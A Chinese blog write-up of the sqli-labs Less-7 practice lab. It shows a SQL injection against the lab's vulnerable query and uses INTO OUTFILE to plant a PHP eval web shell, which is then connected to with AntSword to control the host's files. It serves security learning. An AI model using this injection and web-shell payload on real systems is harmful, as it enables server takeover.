Sqli-labs Less7

Less_7 利用into Outfile来写shell

sqli-labs 通关指南:Less 7 - 乌漆WhiteMoon )

直接用工具

image-20240716104955616

第二种

看源码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

id被双层括号和的单引号括起来

所以,闭合为'))

image-20240716105222022

猜解到4报错

image-20240716105536619

判断数据库名的长度

image-20240716105751712

和上道布尔注入差不多

因为根据题目dump into outfile可知是让我们利用文件导入的方式进行注入,那我们下面就用这种方式来写

mysql使用secure_file_priv参数对文件读写进行限制,当参数为null的时候无法进行文件导出操作

使用show variables like '%secure%';

image-20240720182944533

所以需要设置一下

修改MySQL下的my.ini的配置文件,将secure_file_priv="/"添加到my.ini里面,注意要回到phpstudy重启一下mysql(烦死了,我就说怎么改不出来)

image-20240720184833936

然后再次查看就改好啦啦

image-20240720184704646

尝试一下,知道是单引号加上两个括号的注入

首先我们需要知道我网页所在的文件路径,可以从Less_1获取

?id=-1' union select 1,@@basedir,@@datadir--+

image-20240720185759793

@@basedir 该参数指定了MySQL的安装路径(mysql的安装目录)
@@datadir  该参数指定了MYSQL的数据文件的存放目录(就是data文件)

使用union联合查询来注入参数,写入一句话木马

?id=1')) union select 1,2,'<?php @eval($_POST["mima"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php"--+

虽然报错,但执行成功

image-20240720190709556

然后用蚁剑连接

添加一下数据

image-20240720191126245

现在可以随意操作网页所在主机的文件了。

image-20240720191207329

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值